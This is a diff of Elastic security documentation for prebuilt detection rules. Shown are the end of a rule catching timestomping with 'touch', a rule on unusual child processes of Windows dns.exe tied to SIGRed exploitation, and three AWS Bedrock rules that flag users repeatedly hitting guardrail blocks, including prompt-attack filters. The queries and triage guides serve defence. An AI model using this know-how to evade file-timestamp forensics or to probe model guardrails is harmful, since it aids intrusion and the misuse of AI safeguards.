+* Use Case: Threat Detection +* Tactic: Defense Evasion +* Data Source: Elastic Defend +* Resources: Investigation Guide +* Noise: High +* Performance: Normal +* Profile: Aggressive +* Rule Type: Event Correlation (EQL) +* Platform: Linux +* Platform: macOS + +*Version*: 113 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Timestomping using Touch Command* + + +Timestomping is a technique used by adversaries to alter file timestamps, making malicious files blend with legitimate ones. The 'touch' command, prevalent in Linux and macOS, can modify access and modification times. Attackers exploit this to evade detection. The detection rule identifies suspicious 'touch' usage by non-root users, focusing on specific arguments and excluding benign processes, thus highlighting potential timestomping activities. + + +*Possible investigation steps* + + +- Review the process details to identify the user who executed the 'touch' command, focusing on the user.id field to determine if the user is legitimate and authorized to perform such actions. +- Examine the process.args field to understand the specific arguments used with the 'touch' command, particularly looking for the use of "-r", "-t", "-a*", or "-m*" which indicate potential timestomping activity. +- Investigate the parent process of the 'touch' command by checking the process.parent.name field to determine if it was initiated by a suspicious or unexpected process, excluding known benign processes like "pmlogger_daily", "pmlogger_janitor", and "systemd". +- Cross-reference the file paths and names involved in the 'touch' command with known system files and directories to assess if the files are legitimate or potentially malicious. +- Check for any recent alerts or logs related to the same user or process to identify patterns or repeated attempts at timestomping or other suspicious activities. + + +*False positive analysis* + + +- Non-root users running legitimate scripts or applications that use the touch command with similar arguments may trigger false positives. To mitigate this, identify and whitelist these specific scripts or applications by adding their paths to the exclusion list. +- Automated system maintenance tasks that involve file timestamp modifications can be mistaken for malicious activity. Review and exclude known maintenance processes by adding them to the exclusion criteria, ensuring they do not match the suspicious argument patterns. +- Development tools or environments that utilize the touch command for file management during build processes might be flagged. Analyze these tools and exclude their typical usage patterns by specifying their paths or parent processes in the exclusion list. +- User-initiated file management activities, such as organizing or backing up files, can inadvertently match the rule's criteria. Educate users on the implications of using touch with specific arguments and consider excluding common user directories from the rule if they are frequently involved in such activities. + + +*Response and remediation* + + +- Immediately isolate the affected system from the network to prevent further malicious activity and potential lateral movement by the attacker. +- Conduct a thorough review of the affected system's file system to identify and document any files with suspicious timestamp modifications, focusing on those altered by non-root users. +- Restore any critical files with altered timestamps from known good backups to ensure data integrity and system reliability. +- Revoke or reset credentials for any non-root users involved in the suspicious 'touch' command activity to prevent unauthorized access. +- Escalate the incident to the security operations center (SOC) or incident response team for further investigation and to determine if additional systems are affected. +- Implement enhanced monitoring on the affected system and similar environments to detect any further attempts at timestomping or related suspicious activities. +- Review and update access controls and permissions to ensure that only authorized users have the ability to modify file timestamps, reducing the risk of future timestomping attempts. + +==== Setup + + + +*Setup* + + +If enabling an EQL rule on a non-elastic-agent index (such as beats) for versions <8.2, +events will not define `event.ingested` and default fallback for EQL rules was not added until version 8.2. +Hence for this rule to work effectively, users will need to add a custom ingest pipeline to populate +`event.ingested` to @timestamp. +For more details on adding a custom ingest pipeline refer - https://www.elastic.co/guide/en/fleet/current/data-streams-pipeline-tutorial.html + + +==== Rule query + + +[source, js] +---------------------------------- +process where event.type == "start" and event.action == "exec" and process.name == "touch" and +process.parent.executable != null and process.args like ( + "-t*", "-d*", "-a*", "-m*", "-r*", "--date=*", "--reference=*", "--time=*" +) and not ( + process.parent.executable in ( + "/usr/local/bin/manage_omnimesh_logs", "/pro/bin/sys/install/packageUtils.sh", "/bin/dracut", + "/usr/libexec/postfix/aliasesdb", "pwsh-preview", "/usr/bin/dracut", "/usr/share/initramfs-tools/hooks/amd64_microcode", + "/usr/local/bin/start-mailserver.sh", "/usr/bin/ssm-agent-worker", "/bin/ssm-agent-worker", "/usr/local/cpanel/scripts/restartsrv_bind" + ) or + process.parent.executable like ("/opt/sw/tomcat/rc_scripts/*", "/tmp/newroot/var/lib/docker/overlay2/*", "/snap/*", "/opt/zeek/*") or + process.parent.name in ( + "xargs", "find", "sudo", "make", "pmlogger_check", "pmlogger_daily", "pmlogger_janitor", "autoupdate", "pmlogctl", + "spyglass", "desktop-launch", "pmiectl", "systemd" + ) or + process.parent.args like ( + "/home/*/scripts/auto_download_process.py", "/home/*/scripts/perl_python_eagu1p.py", "/var/lib/dpkg/info/*", + "bazel-out/k8-dbg/bin/dependencies/thirdparty/libjansson_foreign_cc/build_script.sh", "/usr/lib/portage/python*/ebuild.sh", + "/var/tmp/rpm-tmp.*", "/usr/lib/pcp/bin/pmlogger_janitor", "/usr/libexec/pcp/bin/pmlogger_janitor", + "/usr/libexec/pcp/bin/pmlogger_daily", "/usr/lib/pcp/bin/pmlogger_daily", "/opt/oracle.ExaWatcher/GetExaWatcherResults.sh" + ) or + process.args in ( + "/usr/bin/coreutils", "--no-create", "/etc/opt/lumu/lumud.conf", "/opt/vuso*", "/opt/diff", "/etc/aliases.db", "/opt/cursor/cursor" + ) or + process.args like ( + "--checkpoint=*", "/root/.config/envman/*", "/var/tmp/dracut*", "/var/tmp/portage*", "/snap/*", "/var/tmp/pmlogger_*/stamp", "/opt/ubki/*.jar", + "/usr/lib/go-*/bin/go", "/usr/lib/dracut/dracut-functions.sh", "/tmp/KSInstallAction.*/m/.patch/*" + ) or + process.command_line in ("/bin/touch -a /tmp/au_status", "touch -d 2 seconds ago /etc/postfix/main.cf") or + process.parent.command_line == "runc init" or + process.working_directory == "/opt/libexec" +) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Indicator Removal +** ID: T1070 +** Reference URL: https://attack.mitre.org/techniques/T1070/ +* Sub-technique: +** Name: Timestomp +** ID: T1070.006 +** Reference URL: https://attack.mitre.org/techniques/T1070/006/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-unusual-child-process-of-dns-exe.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-unusual-child-process-of-dns-exe.asciidoc new file mode 100644 index 0000000000..9df6739317 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-unusual-child-process-of-dns-exe.asciidoc @@ -0,0 +1,194 @@ +[[prebuilt-rule-8-19-36-unusual-child-process-of-dns-exe]] +=== Unusual Child Process of dns.exe + +Identifies an unexpected process spawning from dns.exe, the process responsible for Windows DNS server services, which may indicate activity related to remote code execution or other forms of exploitation. + +*Rule type*: eql + +*Rule indices*: + +* endgame-* +* logs-crowdstrike.fdr* +* logs-endpoint.events.process-* +* logs-m365_defender.event-* +* logs-sentinel_one_cloud_funnel.* +* logs-system.security* +* logs-windows.forwarded* +* logs-windows.sysmon_operational-* +* winlogbeat-* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://research.checkpoint.com/2020/resolving-your-way-into-domain-admin-exploiting-a-17-year-old-bug-in-windows-dns-servers/ +* https://msrc-blog.microsoft.com/2020/07/14/july-2020-security-update-cve-2020-1350-vulnerability-in-windows-domain-name-system-dns-server/ +* https://github.com/maxpl0it/CVE-2020-1350-DoS +* https://www.elastic.co/security-labs/detection-rules-for-sigred-vulnerability + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Lateral Movement +* Resources: Investigation Guide +* Data Source: Elastic Endgame +* Use Case: Vulnerability +* Data Source: Elastic Defend +* Data Source: Windows Security Event Logs +* Data Source: Microsoft Defender XDR +* Data Source: Sysmon +* Data Source: SentinelOne +* Data Source: Crowdstrike +* Noise: Medium +* Performance: Normal +* Profile: Recommended +* Threat: Vulnerability Exploit +* Rule Type: Event Correlation (EQL) +* Platform: Windows + +*Version*: 323 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Unusual Child Process of dns.exe* + + +*Possible investigation steps* + + +- What did "dns.exe" launch, and does that define a crash path or live execution path? + - Focus: `process.name`, `process.executable`, `process.command_line`, and `process.parent.executable`. + - Implication: escalate quickly for shells, script hosts, downloaders, service tools, or non-Windows paths spawned by "dns.exe"; a bounded "WerFault.exe" crash-reporting child points toward DNS service fault or SIGRed DoS, but still needs follow-on checks. +- Is the child binary a recognized system or DNS-support component, or a disguised payload? + - Focus: `process.executable`, `process.hash.sha256`, `process.pe.original_file_name`, `process.code_signature.subject_name`, and `process.code_signature.trusted`. + - Implication: escalate when the child is unsigned, renamed, user-writable, newly seen, or PE-mismatched; a recognized Microsoft or vendor identity lowers only identity concern and does not clear unexpected execution from "dns.exe". +- What intent does the child command line express? + - Focus: `process.command_line`, `process.name`, and `process.Ext.token.integrity_level_name`. + - Implication: escalate for discovery, script interpretation, download, service change, credential, or persistence behavior under the DNS service token; crash-reporting or bounded diagnostic arguments support fault handling. +- Do lineage and session context fit the Windows DNS service? + - Focus: `process.parent.command_line`, `process.parent.entity_id`, `process.Ext.session_info.logon_type`, and `user.id`. + - Implication: escalate when parent, service, or user context does not fit a stable Windows DNS service launch; expected service lineage supports but does not prove a benign child. +- Did the child produce follow-on execution or artifacts after the spawn? + - Focus: recovered file, registry, network, DNS, and descendant process events for `host.id` + child `process.entity_id`, or `host.id` + `process.pid` in a tight alert window. + - !{investigate{"description":"","label":"File and registry events for the same child process","providers":[[{"excluded":false,"field":"event.category","queryType":"phrase","value":"file","valueType":"string"},{"excluded":false,"field":"host.id","queryType":"phrase","value":"{{host.id}}","valueType":"string"},{"excluded":false,"field":"process.entity_id","queryType":"phrase","value":"{{process.entity_id}}","valueType":"string"}],[{"excluded":false,"field":"event.category","queryType":"phrase","value":"registry","valueType":"string"},{"excluded":false,"field":"host.id","queryType":"phrase","value":"{{host.id}}","valueType":"string"},{"excluded":false,"field":"process.entity_id","queryType":"phrase","value":"{{process.entity_id}}","valueType":"string"}]],"relativeFrom":"now-1h","relativeTo":"now"}} + - !{investigate{"description":"","label":"Network events for the same child process","providers":[[{"excluded":false,"field":"event.category","queryType":"phrase","value":"network","valueType":"string"},{"excluded":false,"field":"host.id","queryType":"phrase","value":"{{host.id}}","valueType":"string"},{"excluded":false,"field":"process.entity_id","queryType":"phrase","value":"{{process.entity_id}}","valueType":"string"}]],"relativeFrom":"now-1h","relativeTo":"now"}} + - !{investigate{"description":"","label":"Child process events from the dns.exe child","providers":[[{"excluded":false,"field":"event.category","queryType":"phrase","value":"process","valueType":"string"},{"excluded":false,"field":"host.id","queryType":"phrase","value":"{{host.id}}","valueType":"string"},{"excluded":false,"field":"process.parent.entity_id","queryType":"phrase","value":"{{process.entity_id}}","valueType":"string"}]],"relativeFrom":"now-1h","relativeTo":"now"}} + - Hint: prioritize descendant `process.command_line`, `file.path`, `registry.path`, and `destination.ip`. Missing network telemetry is unresolved, not benign. + - Implication: escalate when recovered events show descendants, payload staging, persistence changes, or outbound activity; no follow-on activity supports a crash-only hypothesis but cannot clear the alert alone. +- If local evidence remains suspicious or unresolved, do same-host alerts show the same DNS-service execution pattern? + - Focus: same-parent process starts and related alerts on `host.id`, prioritizing `process.parent.name` of "dns.exe", the same child `process.executable`, or the same `process.hash.sha256`. + - !{investigate{"description":"","label":"Process events from the same dns.exe parent","providers":[[{"excluded":false,"field":"event.category","queryType":"phrase","value":"process","valueType":"string"},{"excluded":false,"field":"host.id","queryType":"phrase","value":"{{host.id}}","valueType":"string"},{"excluded":false,"field":"process.parent.entity_id","queryType":"phrase","value":"{{process.parent.entity_id}}","valueType":"string"}]],"relativeFrom":"now-1h","relativeTo":"now"}} + - !{investigate{"description":"","label":"Alerts associated with the host","providers":[[{"excluded":false,"field":"event.kind","queryType":"phrase","value":"signal","valueType":"string"},{"excluded":false,"field":"host.id","queryType":"phrase","value":"{{host.id}}","valueType":"string"}]],"relativeFrom":"now-48h/h","relativeTo":"now"}} + - Hint: broaden scope only after child identity, command intent, lineage, or follow-on recovery remains suspicious or incomplete. + - Implication: escalate scope when related alerts repeat the "dns.exe" child pattern or child binary identity; unrelated or nonmatching alerts keep the case narrower. +- Escalate for live execution intent, suspicious identity or lineage, or recovered post-exploitation artifacts; close only when evidence tightly binds one crash-handling or recognized DNS-support workflow on this host; preserve artifacts and escalate when evidence is mixed or incomplete. + + +*False positive analysis* + + +- Crash handling can legitimately produce "WerFault.exe" after a DNS service fault or SIGRed DoS attempt. Confirm that child identity, `process.command_line`, signer, and `host.id` form a crash-reporting pattern and recovered follow-on endpoint activity does not contradict it. Use incident records only as corroboration; telemetry-only closure requires a crash-reporter-only pattern on the same `host.id` without payload descendants or artifact creation. +- Named DNS/security tooling, such as ReasonLabs DNS components in the rule exclusions, explains the alert only when exact `process.executable`, `process.code_signature.subject_name`, `process.command_line`, `process.parent.executable`, and `host.id` match that product workflow. Treat generic vendor claims, partial matches, or a trusted signer without matching behavior as unresolved. +- Before creating an exception, anchor it on exact child path, signer or certificate thumbprint when available, command line, parent DNS service path, and affected `host.id`. Avoid exceptions on `process.parent.name` of "dns.exe", `process.name` alone, or the entire host. + + +*Response and remediation* + + +- If suspicious but unconfirmed, preserve the child `process.entity_id`, `process.executable`, `process.hash.sha256`, signer details, `process.command_line`, `process.parent.command_line`, crash dumps, recovered endpoint events, and any collected payload artifacts before containment. +- Apply reversible containment before destructive action: remove the server from DNS rotation, restrict external resolver exposure, or heighten monitoring on the affected `host.id`. Move to host isolation only when follow-on execution or broader compromise evidence shows the server cannot serve safely. +- If confirmed benign, reverse temporary containment and record the exact child path, signer, command line, parent DNS service path, and `host.id` that proved the crash-handling or DNS-support workflow. Create an exception only after the same pattern is stable across prior alerts. +- If confirmed malicious, weigh DNS/domain-controller criticality, then isolate the server when feasible, terminate the suspicious child and descendants after evidence capture, and block confirmed malicious domains, IPs, hashes, or payload paths identified during triage. +- Scope other DNS servers and domain controllers for the same child path, hash, command line, signer, or "dns.exe" child-process pattern before deleting artifacts or rebuilding systems. +- Eradicate only payloads, persistence changes, or malicious child processes identified during the investigation, restore DNS service configuration from known-good state, and reset credentials only if evidence shows credential exposure or lateral movement from the server. +- Post-incident hardening: apply the Microsoft DNS security update for CVE-2020-1350, remove temporary SIGRed workarounds only after patching is verified, and retain process plus file, registry, and network telemetry for DNS servers where gaps limited triage. + + +==== Setup + + + +*Setup* + + +This rule is designed for data generated by https://www.elastic.co/security/endpoint-security[Elastic Defend], which provides native endpoint detection and response, along with event enrichments designed to work with our detection rules. + +Setup instructions: https://ela.st/install-elastic-defend + + +*Additional data sources* + + +This rule also supports the following third-party data sources. For setup instructions, refer to the links below: + +- https://ela.st/crowdstrike-integration[CrowdStrike] +- https://ela.st/m365-defender[Microsoft Defender XDR] +- https://ela.st/sentinel-one-cloud-funnel[SentinelOne Cloud Funnel] +- https://ela.st/sysmon-event-1-setup[Sysmon Event ID 1 - Process Creation] +- https://ela.st/audit-process-creation[Windows Process Creation Logs] + + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "windows" and event.type == "start" and + process.parent.name : "dns.exe" and + not ( + process.executable : ( + "?:\\Windows\\System32\\conhost.exe", + "?:\\Windows\\System32\\dns.exe", + /* Crowdstrike specific exclusion as it uses NT Object paths */ + "\\Device\\HarddiskVolume*\\Windows\\System32\\conhost.exe", + "\\Device\\HarddiskVolume*\\Windows\\System32\\dns.exe", + "\\Device\\HarddiskVolume*\\Program Files\\ReasonLabs\\*" + ) or + ( + ?process.parent.executable : "?:\\Program Files\\ReasonLabs\\DNS\\ui\\DNS.exe" + ) + ) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Lateral Movement +** ID: TA0008 +** Reference URL: https://attack.mitre.org/tactics/TA0008/ +* Technique: +** Name: Exploitation of Remote Services +** ID: T1210 +** Reference URL: https://attack.mitre.org/techniques/T1210/ +* Tactic: +** Name: Initial Access +** ID: TA0001 +** Reference URL: https://attack.mitre.org/tactics/TA0001/ +* Technique: +** Name: Exploit Public-Facing Application +** ID: T1190 +** Reference URL: https://attack.mitre.org/techniques/T1190/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-unusual-high-confidence-content-filter-blocks-detected.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-unusual-high-confidence-content-filter-blocks-detected.asciidoc new file mode 100644 index 0000000000..4eb299c85d --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-unusual-high-confidence-content-filter-blocks-detected.asciidoc @@ -0,0 +1,158 @@ +[[prebuilt-rule-8-19-36-unusual-high-confidence-content-filter-blocks-detected]] +=== Unusual High Confidence Content Filter Blocks Detected + +Detects repeated high-confidence 'BLOCKED' actions coupled with specific 'Content Filter' policy violation having codes such as 'MISCONDUCT', 'HATE', 'SEXUAL', INSULTS', 'PROMPT_ATTACK', 'VIOLENCE' indicating persistent misuse or attempts to probe the model's ethical boundaries. + +*Rule type*: esql + +*Rule indices*: None + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 10m + +*Searches indices from*: now-60m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://docs.aws.amazon.com/bedrock/latest/userguide/guardrails-components.html +* https://atlas.mitre.org/techniques/AML.T0051 +* https://atlas.mitre.org/techniques/AML.T0054 +* https://www.elastic.co/security-labs/elastic-advances-llm-security + +*Tags*: + +* Domain: GenAI +* Data Source: AWS Bedrock +* Data Source: AWS S3 +* Use Case: Policy Violation +* Resources: Investigation Guide +* Noise: Low +* Performance: Fast +* Rule Type: ES|QL +* Platform: AWS +* Domain: Cloud +* Service: AWS S3 +* Service: AWS Bedrock +* Mitre Atlas: AML.T0051 +* Mitre Atlas: AML.T0054 + +*Version*: 12 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Unusual High Confidence Content Filter Blocks Detected* + + +Amazon Bedrock Guardrail is a set of features within Amazon Bedrock designed to help businesses apply robust safety and privacy controls to their generative AI applications. + +It enables users to set guidelines and filters that manage content quality, relevancy, and adherence to responsible AI practices. + +Through Guardrail, organizations can enable Content filter for Hate, Insults, Sexual Violence and Misconduct along with Prompt Attack filters prompts +to prevent the model from generating content on specific, undesired subjects, and they can establish thresholds for harmful content categories. + + +*Possible investigation steps* + + +- Identify the user account whose prompts caused high confidence content filter blocks and whether it should perform this kind of action. +- Investigate other alerts associated with the user account during the past 48 hours. +- Consider the time of day. If the user is a human (not a program or script), did the activity take place during a normal time of day? +- Examine the account's prompts and responses in the last 24 hours. +- If you suspect the account has been compromised, scope potentially compromised assets by tracking Amazon Bedrock model access, prompts generated, and responses to the prompts by the account in the last 24 hours. + + +*False positive analysis* + + +- Verify the user account that queried denied topics, is not testing any new model deployments or updated compliance policies in Amazon Bedrock guardrails. + + +*Response and remediation* + + +- Initiate the incident response process based on the outcome of the triage. +- Disable or limit the account during the investigation and response. +- Identify the possible impact of the incident and prioritize accordingly; the following actions can help you gain context: + - Identify the account role in the cloud environment. + - Identify if the attacker is moving laterally and compromising other Amazon Bedrock Services. + - Identify any regulatory or legal ramifications related to this activity. +- Review the permissions assigned to the implicated user group or role behind these requests to ensure they are authorized and expected to access bedrock and ensure that the least privilege principle is being followed. +- Determine the initial vector abused by the attacker and take action to prevent reinfection via the same vector. +- Using the incident response data, update logging and audit policies to improve the mean time to detect (MTTD) and the mean time to respond (MTTR). + + +==== Setup + + + +*Setup* + + +This rule requires that guardrails are configured in AWS Bedrock. For more information, see the AWS Bedrock documentation: + +https://docs.aws.amazon.com/bedrock/latest/userguide/guardrails-create.html + + +==== Rule query + + +[source, js] +---------------------------------- +from logs-aws_bedrock.invocation-* + +// Expand multi-value fields +| mv_expand gen_ai.compliance.violation_code +| mv_expand gen_ai.policy.confidence +| mv_expand gen_ai.policy.name +| mv_expand gen_ai.policy.action + +// Filter for high-confidence content policy blocks with targeted violations +| where + gen_ai.policy.action == "BLOCKED" + and gen_ai.policy.name == "content_policy" + and gen_ai.policy.confidence like "HIGH" + and gen_ai.compliance.violation_code in ("HATE", "MISCONDUCT", "SEXUAL", "INSULTS", "PROMPT_ATTACK", "VIOLENCE") + +// keep ECS + compliance fields +| keep + user.id, + gen_ai.compliance.violation_code + +// count blocked violations per user per violation type +| stats + Esql.ml_policy_blocked_violation_count = count() + by + user.id, + gen_ai.compliance.violation_code + +// Aggregate all violation types per user +| stats + Esql.ml_policy_blocked_violation_total_count = sum(Esql.ml_policy_blocked_violation_count) + by + user.id + +// Filter for users with more than 5 total violations +| where Esql.ml_policy_blocked_violation_total_count > 5 + +// sort by violation volume +| sort Esql.ml_policy_blocked_violation_total_count desc + +---------------------------------- diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-unusual-high-denied-sensitive-information-policy-blocks-detected.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-unusual-high-denied-sensitive-information-policy-blocks-detected.asciidoc new file mode 100644 index 0000000000..ad07a57c47 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-unusual-high-denied-sensitive-information-policy-blocks-detected.asciidoc @@ -0,0 +1,145 @@ +[[prebuilt-rule-8-19-36-unusual-high-denied-sensitive-information-policy-blocks-detected]] +=== Unusual High Denied Sensitive Information Policy Blocks Detected + +Detects repeated compliance violation 'BLOCKED' actions coupled with specific policy name such as 'sensitive_information_policy', indicating persistent misuse or attempts to probe the model's denied topics. + +*Rule type*: esql + +*Rule indices*: None + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 10m + +*Searches indices from*: now-60m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://docs.aws.amazon.com/bedrock/latest/userguide/guardrails-components.html +* https://atlas.mitre.org/techniques/AML.T0051 +* https://atlas.mitre.org/techniques/AML.T0054 +* https://www.elastic.co/security-labs/elastic-advances-llm-security + +*Tags*: + +* Domain: GenAI +* Data Source: AWS Bedrock +* Data Source: AWS S3 +* Use Case: Policy Violation +* Resources: Investigation Guide +* Noise: Low +* Performance: Fast +* Rule Type: ES|QL +* Platform: AWS +* Domain: Cloud +* Service: AWS S3 +* Service: AWS Bedrock +* Mitre Atlas: AML.T0051 +* Mitre Atlas: AML.T0057 + +*Version*: 8 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Unusual High Denied Sensitive Information Policy Blocks Detected* + + +Amazon Bedrock Guardrail is a set of features within Amazon Bedrock designed to help businesses apply robust safety and privacy controls to their generative AI applications. + +It enables users to set guidelines and filters that manage content quality, relevancy, and adherence to responsible AI practices. + +Through Guardrail, organizations can define "sensitive information filters" to prevent the model from generating content on specific, undesired subjects, +and they can establish thresholds for harmful content categories. + + +*Possible investigation steps* + + +- Identify the user account that queried sensitive information and whether it should perform this kind of action. +- Investigate other alerts associated with the user account during the past 48 hours. +- Consider the time of day. If the user is a human (not a program or script), did the activity take place during a normal time of day? +- Examine the account's prompts and responses in the last 24 hours. +- If you suspect the account has been compromised, scope potentially compromised assets by tracking Amazon Bedrock model access, prompts generated, and responses to the prompts by the account in the last 24 hours. + + +*False positive analysis* + + +- Verify the user account that queried denied topics, is not testing any new model deployments or updated compliance policies in Amazon Bedrock guardrails. + + +*Response and remediation* + + +- Initiate the incident response process based on the outcome of the triage. +- Disable or limit the account during the investigation and response. +- Identify the possible impact of the incident and prioritize accordingly; the following actions can help you gain context: + - Identify the account role in the cloud environment. + - Identify if the attacker is moving laterally and compromising other Amazon Bedrock Services. + - Identify any regulatory or legal ramifications related to this activity. +- Review the permissions assigned to the implicated user group or role behind these requests to ensure they are authorized and expected to access bedrock and ensure that the least privilege principle is being followed. +- Determine the initial vector abused by the attacker and take action to prevent reinfection via the same vector. +- Using the incident response data, update logging and audit policies to improve the mean time to detect (MTTD) and the mean time to respond (MTTR). + + +==== Setup + + + +*Setup* + + +This rule requires that guardrails are configured in AWS Bedrock. For more information, see the AWS Bedrock documentation: + +https://docs.aws.amazon.com/bedrock/latest/userguide/guardrails-create.html + + +==== Rule query + + +[source, js] +---------------------------------- +from logs-aws_bedrock.invocation-* + +// Expand multi-valued policy name field +| mv_expand gen_ai.policy.name +| mv_expand gen_ai.policy.action + +// Filter for blocked actions related to sensitive info policy +| where + gen_ai.policy.action == "BLOCKED" + and gen_ai.compliance.violation_detected == "true" + and gen_ai.policy.name == "sensitive_information_policy" + +// keep only relevant fields +| keep user.id + +// count how many times each user triggered a sensitive info block +| stats + Esql.ml_policy_blocked_sensitive_info_count = count() + by user.id + +// Filter for users with more than 5 violations +| where Esql.ml_policy_blocked_sensitive_info_count > 5 + +// sort highest to lowest +| sort Esql.ml_policy_blocked_sensitive_info_count desc + +---------------------------------- diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-unusual-high-denied-topic-blocks-detected.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-unusual-high-denied-topic-blocks-detected.asciidoc new file mode 100644 index 0000000000..4b076d351e --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-unusual-high-denied-topic-blocks-detected.asciidoc @@ -0,0 +1,145 @@ +[[prebuilt-rule-8-19-36-unusual-high-denied-topic-blocks-detected]] +=== Unusual High Denied Topic Blocks Detected + +Detects repeated compliance violation 'BLOCKED' actions coupled with specific policy name such as 'topic_policy', indicating persistent misuse or attempts to probe the model's denied topics. + +*Rule type*: esql + +*Rule indices*: None + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 10m + +*Searches indices from*: now-60m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://docs.aws.amazon.com/bedrock/latest/userguide/guardrails-components.html +* https://atlas.mitre.org/techniques/AML.T0051 +* https://atlas.mitre.org/techniques/AML.T0054 +* https://www.elastic.co/security-labs/elastic-advances-llm-security + +*Tags*: + +* Domain: GenAI +* Data Source: AWS Bedrock +* Data Source: AWS S3 +* Use Case: Policy Violation +* Resources: Investigation Guide +* Noise: Low +* Performance: Fast +* Rule Type: ES|QL +* Platform: AWS +* Domain: Cloud +* Service: AWS S3 +* Service: AWS Bedrock +* Mitre Atlas: AML.T0051 +* Mitre Atlas: AML.T0054 + +*Version*: 8 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Unusual High Denied Topic Blocks Detected* + + +Amazon Bedrock Guardrail is a set of features within Amazon Bedrock designed to help businesses apply robust safety and privacy controls to their generative AI applications. + +It enables users to set guidelines and filters that manage content quality, relevancy, and adherence to responsible AI practices. + +Through Guardrail, organizations can define "denied topics" to prevent the model from generating content on specific, undesired subjects, +and they can establish thresholds for harmful content categories, including hate speech, violence, or offensive language. + + +*Possible investigation steps* + + +- Identify the user account that queried denied topics and whether it should perform this kind of action. +- Investigate other alerts associated with the user account during the past 48 hours. +- Consider the time of day. If the user is a human (not a program or script), did the activity take place during a normal time of day? +- Examine the account's prompts and responses in the last 24 hours. +- If you suspect the account has been compromised, scope potentially compromised assets by tracking Amazon Bedrock model access, prompts generated, and responses to the prompts by the account in the last 24 hours. + + +*False positive analysis* + + +- Verify the user account that queried denied topics, is not testing any new model deployments or updated compliance policies in Amazon Bedrock guardrails. + + +*Response and remediation* + + +- Initiate the incident response process based on the outcome of the triage. +- Disable or limit the account during the investigation and response. +- Identify the possible impact of the incident and prioritize accordingly; the following actions can help you gain context: + - Identify the account role in the cloud environment. + - Identify if the attacker is moving laterally and compromising other Amazon Bedrock Services. + - Identify any regulatory or legal ramifications related to this activity. +- Review the permissions assigned to the implicated user group or role behind these requests to ensure they are authorized and expected to access bedrock and ensure that the least privilege principle is being followed. +- Determine the initial vector abused by the attacker and take action to prevent reinfection via the same vector. +- Using the incident response data, update logging and audit policies to improve the mean time to detect (MTTD) and the mean time to respond (MTTR). + + +==== Setup + + + +*Setup* + + +This rule requires that guardrails are configured in AWS Bedrock. For more information, see the AWS Bedrock documentation: + +https://docs.aws.amazon.com/bedrock/latest/userguide/guardrails-create.html + + +==== Rule query + + +[source, js] +---------------------------------- +from logs-aws_bedrock.invocation-* + +// Expand multi-value policy name field +| mv_expand gen_ai.policy.name +| mv_expand gen_ai.policy.action + +// Filter for blocked topic policy violations +| where + gen_ai.policy.action == "BLOCKED" + and gen_ai.compliance.violation_detected == "true" + and gen_ai.policy.name == "topic_policy" + +// keep only user info +| keep user.id + +// count how many times each user triggered a blocked topic policy +| stats + Esql.ml_policy_blocked_topic_count = count() + by user.id + +// Filter for excessive violations +| where Esql.ml_policy_blocked_topic_count > 5 + +// sort highest to lowest +| sort Esql.ml_policy_blocked_topic_count desc + +---------------------------------- diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-unusual-high-word-policy-blocks-detected.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-unusual-high-word-policy-blocks-detected.asciidoc new file mode 100644 index 0000000000..6c8b6c4533 --- /dev/null +++ 